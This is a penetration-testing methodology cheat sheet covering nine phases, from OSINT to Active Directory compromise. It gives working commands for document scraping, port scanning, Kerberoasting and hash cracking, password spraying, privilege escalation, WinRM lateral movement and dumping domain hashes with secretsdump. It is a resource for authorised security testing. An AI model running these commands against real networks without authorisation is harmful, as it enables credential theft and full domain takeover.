Pentesting Methodologies Library

Phase 1

External OSINT & Reconnaissance

Objective: Discover exposed infrastructure and leaked credentials.

wget -r -l2 -A pdf,doc,docx,xls,xlsx https://$DOMAIN
find . -name "*.pdf" -exec pdftotext {} - \; | grep -iE "password|user|login|admin"

Phase 2

Network Scanning & Enumeration

Objective: Map the external and internal attack surface.

nmap -p- --min-rate 1000 -T4 $TARGET -oN nmap/all_ports.txt
nmap -sV -sC -p $(grep -oP '^\d+(?=/tcp)' nmap/all_ports.txt | tr '\n' ',') $TARGET -oN nmap/deep_scan.txt

Phase 3

Active Directory Enumeration

Objective: Identify domain users, groups, and attack paths.

bloodhound-python -u $USER -p $PASS -d $DOMAIN -ns $DC_IP -c All
netexec smb $IP -u $USER -p $PASS --pass-pol

Phase 4

Credential Harvesting & Exploitation

Objective: Extract and crack hashes to gain initial access.

impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP -request -outputfile kerberoast.hashes
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt

Phase 5

Privilege Escalation (Windows)

Objective: Escalate from standard user to Administrator/SYSTEM.

.\winpeas.exe
.\PrintSpoofer.exe -i -c cmd

Phase 6

Privilege Escalation (Linux)

Objective: Escalate from standard user to root.

./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null

Phase 7

Lateral Movement

Objective: Move across the network using compromised credentials.

netexec smb $CIDR -u $USER -p $PASS --continue-on-success
evil-winrm -i $TARGET -u $USER -p $PASS

Phase 8

Domain Compromise

Objective: Achieve Domain Admin and extract the NTDS.dit.

impacket-secretsdump $DOMAIN/Administrator:$PASS@$DC_IP -just-dc

Phase 9

Reporting & Remediation

Objective: Document findings, capture evidence, and provide actionable fixes.

Note: All findings must include a CVSS score, clear business impact, and specific remediation steps.